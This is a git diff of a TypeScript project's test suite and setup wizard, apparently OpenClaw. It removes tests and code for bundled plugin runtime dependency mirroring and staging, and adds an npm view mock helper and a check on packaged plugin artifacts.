expect(detectChangedScope(["scripts/e2e/bundled-channel-runtime-deps-docker.sh"])).toEqual({ - runNode: true, - runMacos: false, - runAndroid: false, - runWindows: false, - runSkillsPython: false, - runChangedSmoke: true, - runControlUiI18n: false, - }); expect(detectChangedScope(["scripts/e2e/agents-delete-shared-workspace-docker.sh"])).toEqual({ runNode: true, runMacos: false, @@ -385,15 +376,6 @@ describe("detectChangedScope", () => { runChangedSmoke: true, runControlUiI18n: false, }); - expect(detectChangedScope(["src/plugins/bundled-runtime-deps.ts"])).toEqual({ - runNode: true, - runMacos: false, - runAndroid: false, - runWindows: false, - runSkillsPython: false, - runChangedSmoke: true, - runControlUiI18n: false, - }); }); it("runs changed-smoke for Docker-covered core runtime surfaces", () => { diff --git a/src/test-utils/npm-spec-install-test-helpers.ts b/src/test-utils/npm-spec-install-test-helpers.ts index f99ac7599ec..c500a7459c2 100644 --- a/src/test-utils/npm-spec-install-test-helpers.ts +++ b/src/test-utils/npm-spec-install-test-helpers.ts @@ -18,6 +18,13 @@ type NpmPackMetadata = { shasum: string; }; +type NpmViewMetadata = { + name: string; + version: string; + integrity?: string; + shasum?: string; +}; + function createSuccessfulSpawnResult(stdout = ""): SpawnResult { return { code: 0, @@ -29,6 +36,35 @@ function createSuccessfulSpawnResult(stdout = ""): SpawnResult { }; } +export function mockNpmViewMetadataResult( + run: { + mockImplementation: ( + implementation: ( + argv: string[], + optionsOrTimeout: number | CommandOptions, + ) => Promise, + ) => unknown; + }, + metadata: NpmViewMetadata, +) { + run.mockImplementation(async (argv) => { + if (argv[0] !== "npm" || argv[1] !== "view") { + throw new Error(`unexpected command: ${argv.join(" ")}`); + } + + return createSuccessfulSpawnResult( + JSON.stringify({ + name: metadata.name, + version: metadata.version, + dist: { + integrity: metadata.integrity, + shasum: metadata.shasum, + }, + }), + ); + }); +} + export async function expectUnsupportedNpmSpec( install: (spec: string) => Promise, spec = "github:evil/evil", diff --git a/src/wizard/setup.test.ts b/src/wizard/setup.test.ts index 2bfbe840029..b752e2fc0cb 100644 --- a/src/wizard/setup.test.ts +++ b/src/wizard/setup.test.ts @@ -92,7 +92,6 @@ const setupInternalHooks = vi.hoisted(() => vi.fn(async (cfg) => cfg)); const setupChannels = vi.hoisted(() => vi.fn(async (cfg) => cfg)); const setupSkills = vi.hoisted(() => vi.fn(async (cfg) => cfg)); -const preparePostConfigBundledRuntimeDeps = vi.hoisted(() => vi.fn(async () => {})); function providerPluginStub( overrides: Partial & Pick, @@ -159,10 +158,6 @@ vi.mock("../commands/onboard-skills.js", () => ({ setupSkills, })); -vi.mock("../commands/post-config-runtime-deps.js", () => ({ - preparePostConfigBundledRuntimeDeps, -})); - vi.mock("../agents/auth-profiles.js", () => ({ ensureAuthProfileStore, })); @@ -427,7 +422,6 @@ describe("runSetupWizard", () => { }); it("skips prompts and setup steps when flags are set", async () => { - preparePostConfigBundledRuntimeDeps.mockClear(); const select = vi.fn( async (_params: WizardSelectParams) => "quickstart", ) as unknown as WizardPrompter["select"]; @@ -460,47 +454,7 @@ describe("runSetupWizard", () => { expect(setupSkills).not.toHaveBeenCalled(); expect(healthCommand).not.toHaveBeenCalled(); expect(runTui).not.toHaveBeenCalled(); - expect(preparePostConfigBundledRuntimeDeps).toHaveBeenCalledWith( - expect.objectContaining({ - config: expect.objectContaining({ - gateway: expect.objectContaining({ mode: "local" }), - }), - runtime, - }), - ); }); - - it("prepares bundled plugin runtime deps before finalizing local onboarding", async () => { - preparePostConfigBundledRuntimeDeps.mockClear(); - finalizeSetupWizard.mockClear(); - - const prompter = buildWizardPrompter({}); - const runtime = createRuntime({ throwsOnExit: true }); - - await runSetupWizard( - { - acceptRisk: true, - flow: "quickstart", - authChoice: "skip", - installDaemon: false, - skipProviders: true, - skipChannels: true, - skipSkills: true, - skipSearch: true, - skipHealth: true, - skipUi: true, - }, - runtime, - prompter, - ); - - expect(preparePostConfigBundledRuntimeDeps).toHaveBeenCalledTimes(1); - expect(finalizeSetupWizard).toHaveBeenCalledTimes(1); - expect(preparePostConfigBundledRuntimeDeps.mock.invocationCallOrder[0]).toBeLessThan( - finalizeSetupWizard.mock.invocationCallOrder[0], - ); - }); - it("persists skipBootstrap and skips workspace bootstrap creation when requested", async () => { ensureWorkspaceAndSessions.mockClear(); replaceConfigFile.mockClear(); diff --git a/src/wizard/setup.ts b/src/wizard/setup.ts index 866ab27475d..62a78558831 100644 --- a/src/wizard/setup.ts +++ b/src/wizard/setup.ts @@ -8,7 +8,6 @@ import type { OnboardOptions, ResetScope, } from "../commands/onboard-types.js"; -import { preparePostConfigBundledRuntimeDeps } from "../commands/post-config-runtime-deps.js"; import { createConfigIO, replaceConfigFile, resolveGatewayPort } from "../config/config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeSecretInputString } from "../config/types.secrets.js"; @@ -777,7 +776,6 @@ export async function runSetupWizard( nextConfig = onboardHelpers.applyWizardMetadata(nextConfig, { command: "onboard", mode }); nextConfig = await writeWizardConfigFile(nextConfig); - await preparePostConfigBundledRuntimeDeps({ config: nextConfig, runtime }); const { finalizeSetupWizard } = await import("./setup.finalize.js"); const { launchedTui } = await finalizeSetupWizard({ diff --git a/test/openclaw-npm-postpublish-verify.test.ts b/test/openclaw-npm-postpublish-verify.test.ts index 493ed3465ad..54c9d8bd73e 100644 --- a/test/openclaw-npm-postpublish-verify.test.ts +++ b/test/openclaw-npm-postpublish-verify.test.ts @@ -1,4 +1,4 @@ -import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import { describe, expect, it } from "vitest"; @@ -8,7 +8,6 @@ import { buildPublishedInstallScenarios, collectInstalledContextEngineRuntimeErrors, collectInstalledRootDependencyManifestErrors, - collectInstalledMirroredRootDependencyManifestErrors, collectInstalledPackageErrors, normalizeInstalledBinaryVersion, resolveInstalledBinaryPath, @@ -156,285 +155,6 @@ describe("resolveInstalledBinaryPath", () => { }); }); -describe("collectInstalledMirroredRootDependencyManifestErrors", () => { - function makeInstalledPackageRoot(): string { - return mkdtempSync(join(tmpdir(), "openclaw-postpublish-installed-")); - } - - function writePackageFile(root: string, relativePath: string, value: unknown): void { - const fullPath = join(root, relativePath); - mkdirSync(dirname(fullPath), { recursive: true }); - writeFileSync(fullPath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); - } - - function writeSlackWebApiProbePackage(params: { - root: string; - importerSource?: string; - importerPath?: string; - mirroredRootRuntimeDependencies?: string[]; - rootDependencies?: Record; - rootOptionalDependencies?: Record; - }): void { - writePackageFile(params.root, "package.json", { - version: "2026.4.10", - dependencies: params.rootDependencies, - optionalDependencies: params.rootOptionalDependencies, - openclaw: params.mirroredRootRuntimeDependencies - ? { - bundle: { - mirroredRootRuntimeDependencies: params.mirroredRootRuntimeDependencies, - }, - } - : undefined, - }); - writePackageFile(params.root, "dist/extensions/slack/package.json", { - dependencies: { - "@slack/web-api": "^7.15.0", - }, - }); - const importerPath = params.importerPath ?? "dist/probe-Cz2PiFtC.js"; - mkdirSync(join(params.root, "dist"), { recursive: true }); - writeFileSync( - join(params.root, importerPath), - params.importerSource ?? 'import("@slack/web-api");\n', - "utf8", - ); - } - - it("flags bundled plugin deps imported by root dist when root mirrors are missing", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writeSlackWebApiProbePackage({ root: packageRoot }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([ - "installed package root is missing mirrored bundled runtime dependency '@slack/web-api' for dist importers: probe-Cz2PiFtC.js. Add it to package.json dependencies/optionalDependencies or keep imports under dist/extensions/slack/.", - ]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("allows bundled plugin deps imported from their own extension dist without root mirrors", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writeSlackWebApiProbePackage({ - root: packageRoot, - importerPath: "dist/extensions/slack/client-Cz2PiFtC.js", - }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("allows bundled plugin deps imported from root chunks sourced from their extension", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writeSlackWebApiProbePackage({ - root: packageRoot, - importerSource: '//#region extensions/slack/client.ts\nimport("@slack/web-api");\n', - }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("does not require root mirrors for extension-only Matrix crypto deps", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - writePackageFile(packageRoot, "dist/extensions/matrix/package.json", { - dependencies: { - "@matrix-org/matrix-sdk-crypto-nodejs": "^0.4.0", - "@matrix-org/matrix-sdk-crypto-wasm": "18.1.0", - }, - }); - writeFileSync( - join(packageRoot, "dist/extensions/matrix/crypto-node.runtime.js"), - 'require("@matrix-org/matrix-sdk-crypto-nodejs");\n', - "utf8", - ); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("accepts mirrored root dependencies declared in package optionalDependencies", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - optionalDependencies: { - "@discordjs/opus": "^0.10.0", - }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["@discordjs/opus"], - }, - }, - }); - writePackageFile(packageRoot, "dist/extensions/discord/package.json", { - optionalDependencies: { - "@discordjs/opus": "^0.10.0", - }, - }); - mkdirSync(join(packageRoot, "dist"), { recursive: true }); - writeFileSync( - join(packageRoot, "dist", "probe-Cz2PiFtC.js"), - 'require("@discordjs/opus");\n', - "utf8", - ); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("does not compare root mirror dependency versions", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writeSlackWebApiProbePackage({ - root: packageRoot, - mirroredRootRuntimeDependencies: ["@slack/web-api"], - rootDependencies: { - "@slack/web-api": "^7.16.0", - }, - }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("flags malformed bundled extension manifests instead of silently skipping them", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - mkdirSync(join(packageRoot, "dist/extensions/slack"), { recursive: true }); - writeFileSync( - join(packageRoot, "dist/extensions/slack/package.json"), - '{\n "openclaw": { invalid json\n', - "utf8", - ); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([ - expect.stringContaining("installed bundled extension manifest invalid: failed to parse"), - ]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("flags bundled extension directories that are missing package.json", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - mkdirSync(join(packageRoot, "dist/extensions/slack"), { recursive: true }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([ - `installed bundled extension manifest missing: ${join(packageRoot, "dist/extensions/slack/package.json")}.`, - ]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("skips manifest-only sidecar directories without package.json", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - writePackageFile(packageRoot, "dist/extensions/device-pair/openclaw.plugin.json", { - id: "device-pair", - }); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("accepts legacy qa channel sidecar directories without package.json", () => { - const packageRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - mkdirSync(join(packageRoot, "dist/extensions/qa-channel"), { recursive: true }); - writeFileSync( - join(packageRoot, "dist/extensions/qa-channel/runtime-api.js"), - "export {};\n", - "utf8", - ); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("rejects bundled extension manifests that are not regular files", () => { - const packageRoot = makeInstalledPackageRoot(); - const outsideManifestRoot = makeInstalledPackageRoot(); - - try { - writePackageFile(packageRoot, "package.json", { - version: "2026.4.10", - dependencies: {}, - }); - writePackageFile(outsideManifestRoot, "package.json", { - dependencies: { - "@slack/web-api": "^7.15.0", - }, - }); - mkdirSync(join(packageRoot, "dist/extensions/slack"), { recursive: true }); - symlinkSync( - join(outsideManifestRoot, "package.json"), - join(packageRoot, "dist/extensions/slack/package.json"), - ); - - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)).toEqual([ - expect.stringContaining("installed bundled extension manifest invalid: failed to parse"), - ]); - expect(collectInstalledMirroredRootDependencyManifestErrors(packageRoot)[0]).toContain( - "manifest must be a regular file", - ); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - rmSync(outsideManifestRoot, { recursive: true, force: true }); - } - }); -}); - describe("collectInstalledRootDependencyManifestErrors", () => { function makeInstalledPackageRoot(): string { return mkdtempSync(join(tmpdir(), "openclaw-postpublish-root-deps-")); diff --git a/test/openclaw-npm-release-check.test.ts b/test/openclaw-npm-release-check.test.ts index 1516a4654a0..4b86971345e 100644 --- a/test/openclaw-npm-release-check.test.ts +++ b/test/openclaw-npm-release-check.test.ts @@ -27,7 +27,6 @@ import { const REQUIRED_PACKED_PATHS = [ PACKAGE_DIST_INVENTORY_RELATIVE_PATH, - "scripts/lib/bundled-runtime-deps-install.mjs", ...WORKSPACE_TEMPLATE_PACK_PATHS, ] as const; diff --git a/test/release-check.test.ts b/test/release-check.test.ts index e817fd40bef..fb46572a2c0 100644 --- a/test/release-check.test.ts +++ b/test/release-check.test.ts @@ -1,4 +1,4 @@ -import { mkdtempSync, mkdirSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import { bundledDistPluginFile, bundledPluginFile } from "openclaw/plugin-sdk/test-fixtures"; @@ -13,13 +13,8 @@ import { collectInstalledRootDependencyManifestErrors } from "../scripts/opencla import { collectAppcastSparkleVersionErrors, collectBundledExtensionManifestErrors, - collectBundledPluginRootRuntimeMirrorErrors, collectCriticalPluginSdkEntrypointSizeErrors, - collectDeclaredRootRuntimeDependencyMetadataErrors, collectForbiddenPackContentPaths, - collectInstalledBundledPluginRuntimeDepErrors, - bundledRuntimeDependencySentinelCandidates, - collectRootDistBundledRuntimeMirrors, collectForbiddenPackPaths, collectMissingPackPaths, collectPackUnpackedSizeErrors, @@ -275,117 +270,6 @@ describe("bundled plugin root runtime mirrors", () => { expect(packageNameFromSpecifier("./local")).toBeNull(); }); - it("derives required root mirrors from built root dist imports", () => { - const tempRoot = mkdtempSync(join(tmpdir(), "openclaw-root-mirror-")); - - try { - const distDir = join(tempRoot, "dist"); - mkdirSync(join(distDir, "extensions", "feishu"), { recursive: true }); - writeFileSync( - join(distDir, "probe-Cz2PiFtC.js"), - `import("@larksuiteoapi/node-sdk");\nrequire("grammy");\n`, - "utf8", - ); - writeFileSync( - join(distDir, "extensions", "feishu", "index.js"), - `import("@larksuiteoapi/node-sdk");\n`, - "utf8", - ); - mkdirSync(join(distDir, "extensions", "feishu", "node_modules", "@larksuiteoapi"), { - recursive: true, - }); - writeFileSync( - join(distDir, "extensions", "feishu", "node_modules", "@larksuiteoapi", "node-sdk.js"), - `import("@larksuiteoapi/node-sdk");\n`, - "utf8", - ); - - const mirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - distDir, - }); - - expect([...mirrors.keys()].toSorted((left, right) => left.localeCompare(right))).toEqual([ - "@larksuiteoapi/node-sdk", - ]); - expect([...mirrors.get("@larksuiteoapi/node-sdk")!.importers]).toEqual(["probe-Cz2PiFtC.js"]); - } finally { - rmSync(tempRoot, { recursive: true, force: true }); - } - }); - - it("flags missing root mirrors for plugin deps imported by root dist", () => { - expect( - collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - requiredRootMirrors: new Map([ - [ - "@larksuiteoapi/node-sdk", - { - importers: new Set(["probe-Cz2PiFtC.js"]), - pluginIds: ["feishu"], - spec: "^1.60.0", - }, - ], - ]), - rootPackageJson: { dependencies: {} }, - }), - ).toEqual([ - "installed package root is missing mirrored bundled runtime dependency '@larksuiteoapi/node-sdk' for dist importers: probe-Cz2PiFtC.js. Add it to package.json dependencies/optionalDependencies or keep imports under dist/extensions/feishu/.", - ]); - }); - - it("flags mirrored root runtime metadata without root deps", () => { - expect( - collectDeclaredRootRuntimeDependencyMetadataErrors({ - dependencies: { semver: "7.7.4" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["json5", "semver"], - }, - }, - }), - ).toEqual([ - "package.json openclaw.bundle.mirroredRootRuntimeDependencies declares 'json5' but package.json dependencies/optionalDependencies do not include it.", - ]); - }); - - it("accepts mirrored root runtime metadata backed by root deps", () => { - expect( - collectDeclaredRootRuntimeDependencyMetadataErrors({ - dependencies: { json5: "^2.2.3", semver: "7.7.4" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["json5", "semver"], - }, - }, - }), - ).toEqual([]); - }); - - it("does not derive root mirrors for root chunks sourced from the owning plugin", () => { - const tempRoot = mkdtempSync(join(tmpdir(), "openclaw-root-mirror-owned-")); - - try { - const distDir = join(tempRoot, "dist"); - mkdirSync(distDir, { recursive: true }); - writeFileSync( - join(distDir, "probe-Cz2PiFtC.js"), - `//#region extensions/feishu/client.ts\nimport("@larksuiteoapi/node-sdk");\n`, - "utf8", - ); - - const mirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - distDir, - }); - - expect([...mirrors.keys()]).toEqual([]); - } finally { - rmSync(tempRoot, { recursive: true, force: true }); - } - }); - it("does not require root deps for root chunks sourced from the owning installed plugin", () => { const tempRoot = mkdtempSync(join(tmpdir(), "openclaw-root-owned-installed-")); @@ -441,100 +325,6 @@ describe("bundled plugin root runtime mirrors", () => { rmSync(tempRoot, { recursive: true, force: true }); } }); - - it("does not compare root mirror versions for plugin manifest deps", () => { - expect( - collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - requiredRootMirrors: new Map([ - [ - "@larksuiteoapi/node-sdk", - { - importers: new Set(["probe-Cz2PiFtC.js"]), - pluginIds: ["feishu"], - spec: "^1.60.0", - }, - ], - ]), - rootPackageJson: { - dependencies: { "@larksuiteoapi/node-sdk": "^1.61.0" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["@larksuiteoapi/node-sdk"], - }, - }, - }, - }), - ).toEqual([]); - }); - - it("flags root mirrors omitted from mirrored root runtime metadata", () => { - expect( - collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - requiredRootMirrors: new Map([ - [ - "@larksuiteoapi/node-sdk", - { - importers: new Set(["probe-Cz2PiFtC.js"]), - pluginIds: ["feishu"], - spec: "^1.60.0", - }, - ], - ]), - rootPackageJson: { dependencies: { "@larksuiteoapi/node-sdk": "^1.60.0" } }, - }), - ).toEqual([ - "installed package root mirror '@larksuiteoapi/node-sdk' for dist importers: probe-Cz2PiFtC.js is missing from package.json openclaw.bundle.mirroredRootRuntimeDependencies. Add it there so packaged runtime installs the mirrored dependency, or keep imports under dist/extensions/feishu/.", - ]); - }); - - it("accepts matching root mirrors for plugin deps imported by root dist", () => { - expect( - collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs: makeBundledSpecs(), - requiredRootMirrors: new Map([ - [ - "@larksuiteoapi/node-sdk", - { - importers: new Set(["probe-Cz2PiFtC.js"]), - pluginIds: ["feishu"], - spec: "^1.60.0", - }, - ], - ]), - rootPackageJson: { - dependencies: { "@larksuiteoapi/node-sdk": "^1.60.0" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["@larksuiteoapi/node-sdk"], - }, - }, - }, - }), - ).toEqual([]); - }); - - it("flags conflicting plugin dependency specs", () => { - expect( - collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs: new Map([ - [ - "@example/sdk", - { - conflicts: [{ pluginId: "right", spec: "2.0.0" }], - pluginIds: ["left"], - spec: "1.0.0", - }, - ], - ]), - requiredRootMirrors: new Map(), - rootPackageJson: { dependencies: {} }, - }), - ).toEqual([ - "bundled runtime dependency '@example/sdk' has conflicting plugin specs: left use '1.0.0', right uses '2.0.0'.", - ]); - }); }); describe("collectForbiddenPackPaths", () => { @@ -690,7 +480,6 @@ describe("collectMissingPackPaths", () => { "dist/control-ui/index.html", "scripts/npm-runner.mjs", "scripts/preinstall-package-manager-warning.mjs", - "scripts/lib/bundled-runtime-deps-install.mjs", "scripts/lib/package-dist-imports.mjs", "scripts/postinstall-bundled-plugins.mjs", "dist/task-registry-control.runtime.js", @@ -723,7 +512,6 @@ describe("collectMissingPackPaths", () => { ...WORKSPACE_TEMPLATE_PACK_PATHS, "scripts/npm-runner.mjs", "scripts/preinstall-package-manager-warning.mjs", - "scripts/lib/bundled-runtime-deps-install.mjs", "scripts/lib/package-dist-imports.mjs", "scripts/postinstall-bundled-plugins.mjs", "dist/plugin-sdk/root-alias.cjs", @@ -833,112 +621,3 @@ describe("createPackedBundledPluginPostinstallEnv", () => { }); }); }); - -describe("collectInstalledBundledPluginRuntimeDepErrors", () => { - function createPackageRoot(): string { - const packageRoot = mkdtempSync(join(tmpdir(), "release-check-installed-bundled-")); - mkdirSync(join(packageRoot, "dist", "extensions"), { recursive: true }); - return packageRoot; - } - - function writeBundledPluginPackageJson( - packageRoot: string, - pluginId: string, - packageJson: Record, - ): void { - const pluginRoot = join(packageRoot, "dist", "extensions", pluginId); - mkdirSync(pluginRoot, { recursive: true }); - writeFileSync(join(pluginRoot, "package.json"), JSON.stringify(packageJson, null, 2)); - } - - function installRuntimeDependencyAtPackageRoot( - packageRoot: string, - dependencyName: string, - version: string, - ): void { - const dependencyRoot = join(packageRoot, "node_modules", ...dependencyName.split("/")); - mkdirSync(dependencyRoot, { recursive: true }); - writeFileSync( - join(dependencyRoot, "package.json"), - JSON.stringify({ name: dependencyName, version }, null, 2), - ); - } - - it("returns no errors when declared deps are installed at the openclaw package root", () => { - const packageRoot = createPackageRoot(); - try { - writeBundledPluginPackageJson(packageRoot, "whatsapp", { - name: "@openclaw/whatsapp", - dependencies: { "@whiskeysockets/baileys": "7.0.0-rc.9" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }); - installRuntimeDependencyAtPackageRoot(packageRoot, "@whiskeysockets/baileys", "7.0.0-rc.9"); - - expect(collectInstalledBundledPluginRuntimeDepErrors(packageRoot)).toEqual([]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); - - it("surfaces an error naming the owning plugin and missing dependency", () => { - const packageRoot = createPackageRoot(); - try { - writeBundledPluginPackageJson(packageRoot, "whatsapp", { - name: "@openclaw/whatsapp", - dependencies: { "@whiskeysockets/baileys": "7.0.0-rc.9" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }); - - expect(collectInstalledBundledPluginRuntimeDepErrors(packageRoot)).toEqual([ - "bundled plugin runtime dependency '@whiskeysockets/baileys@7.0.0-rc.9' (owners: whatsapp) is missing at node_modules/@whiskeysockets/baileys/package.json.", - ]); - } finally { - rmSync(packageRoot, { recursive: true, force: true }); - } - }); -}); - -describe("bundledRuntimeDependencySentinelCandidates", () => { - it("checks canonical external runtime-deps roots for packed installs", () => { - const root = mkdtempSync(join(tmpdir(), "release-check-runtime-candidates-")); - const packageRoot = join(root, "package"); - const aliasRoot = join(root, "package-alias"); - const homeRoot = join(root, "home"); - try { - mkdirSync(join(packageRoot, "dist", "extensions", "browser"), { recursive: true }); - writeFileSync( - join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25-beta.1" }, null, 2), - ); - symlinkSync(packageRoot, aliasRoot, "dir"); - - const candidates = bundledRuntimeDependencySentinelCandidates( - aliasRoot, - "browser", - "playwright-core", - { HOME: homeRoot } as NodeJS.ProcessEnv, - ); - const realRootCandidates = bundledRuntimeDependencySentinelCandidates( - packageRoot, - "browser", - "playwright-core", - { HOME: homeRoot } as NodeJS.ProcessEnv, - ); - const externalCandidates = candidates.filter( - (candidate) => - candidate.startsWith(join(homeRoot, ".openclaw", "plugin-runtime-deps")) && - candidate.endsWith(join("node_modules", "playwright-core", "package.json")), - ); - const realRootExternalCandidates = realRootCandidates.filter( - (candidate) => - candidate.startsWith(join(homeRoot, ".openclaw", "plugin-runtime-deps")) && - candidate.endsWith(join("node_modules", "playwright-core", "package.json")), - ); - - expect(externalCandidates).toEqual(realRootExternalCandidates); - expect(externalCandidates).toHaveLength(1); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); -}); diff --git a/test/scripts/bundled-plugin-build-entries.test.ts b/test/scripts/bundled-plugin-build-entries.test.ts index f60bbe23ce0..95f66aedeae 100644 --- a/test/scripts/bundled-plugin-build-entries.test.ts +++ b/test/scripts/bundled-plugin-build-entries.test.ts @@ -87,6 +87,14 @@ describe("bundled plugin build entries", () => { ); }); + it("keeps explicitly downloadable plugins out of bundled package artifacts", () => { + const entries = listBundledPluginBuildEntries(); + const artifacts = listBundledPluginPackArtifacts(); + + expect(Object.keys(entries).some((entry) => entry.startsWith("extensions/qqbot/"))).toBe(false); + expect(artifacts.some((artifact) => artifact.startsWith("dist/extensions/qqbot/"))).toBe(false); + }); + it("keeps bundled channel secret contracts on packed top-level sidecars", () => { const artifacts = listBundledPluginPackArtifacts(); const offenders: string[] = []; diff --git a/test/scripts/bundled-plugin-staged-runtime-deps.test.ts b/test/scripts/bundled-plugin-staged-runtime-deps.test.ts deleted file mode 100644 index 501de4cc4a7..00000000000 --- a/test/scripts/bundled-plugin-staged-runtime-deps.test.ts +++ /dev/null @@ -1,81 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { describe, expect, it } from "vitest"; -import { collectBuiltBundledPluginStagedRuntimeDependencyErrors } from "../../scripts/lib/bundled-plugin-root-runtime-mirrors.mjs"; -import { createScriptTestHarness } from "./test-helpers.js"; - -const { createTempDir } = createScriptTestHarness(); - -function writeJson(root: string, relativePath: string, value: unknown) { - const fullPath = path.join(root, relativePath); - fs.mkdirSync(path.dirname(fullPath), { recursive: true }); - fs.writeFileSync(fullPath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -describe("collectBuiltBundledPluginStagedRuntimeDependencyErrors", () => { - it("flags built staged plugins whose dist node_modules are missing runtime deps", () => { - const repoRoot = createTempDir("openclaw-runtime-contracts-"); - - writeJson(repoRoot, "dist/extensions/diffs/package.json", { - name: "@openclaw/diffs", - dependencies: { - "@pierre/diffs": "^0.1.0", - }, - openclaw: { - bundle: { - stageRuntimeDependencies: true, - }, - }, - }); - - expect( - collectBuiltBundledPluginStagedRuntimeDependencyErrors({ - bundledPluginsDir: path.join(repoRoot, "dist/extensions"), - }), - ).toEqual([ - "built bundled plugin 'diffs' is missing staged runtime dependency '@pierre/diffs: ^0.1.0' under dist/extensions/diffs/node_modules.", - ]); - }); - - it("accepts built staged plugins when their staged runtime deps are present", () => { - const repoRoot = createTempDir("openclaw-runtime-contracts-"); - - writeJson(repoRoot, "dist/extensions/diffs/package.json", { - name: "@openclaw/diffs", - dependencies: { - "@pierre/diffs": "^0.1.0", - }, - openclaw: { - bundle: { - stageRuntimeDependencies: true, - }, - }, - }); - writeJson(repoRoot, "dist/extensions/diffs/node_modules/@pierre/diffs/package.json", { - name: "@pierre/diffs", - version: "0.1.0", - }); - - expect( - collectBuiltBundledPluginStagedRuntimeDependencyErrors({ - bundledPluginsDir: path.join(repoRoot, "dist/extensions"), - }), - ).toEqual([]); - }); - - it("keeps the WhatsApp bundled plugin opted into staged runtime dependencies", () => { - const packageJson = JSON.parse( - fs.readFileSync(path.join(process.cwd(), "extensions/whatsapp/package.json"), "utf8"), - ) as { - dependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; - }; - - expect(packageJson.dependencies?.["@whiskeysockets/baileys"]).toBe("7.0.0-rc.9"); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); - }); -}); diff --git a/test/scripts/check-gateway-watch-regression.test.ts b/test/scripts/check-gateway-watch-regression.test.ts index 133d263f8e9..fbbf718b5a7 100644 --- a/test/scripts/check-gateway-watch-regression.test.ts +++ b/test/scripts/check-gateway-watch-regression.test.ts @@ -14,7 +14,7 @@ import { } from "../../scripts/lib/local-build-metadata-paths.mjs"; describe("check-gateway-watch-regression", () => { - it("ignores top-level dist-runtime extension dependency repairs", () => { + it("ignores top-level dist-runtime extension dependency debris", () => { expect(isIgnoredDistRuntimeWatchPath("dist-runtime/extensions/node_modules")).toBe(true); expect( isIgnoredDistRuntimeWatchPath( diff --git a/test/scripts/docker-build-helper.test.ts b/test/scripts/docker-build-helper.test.ts index 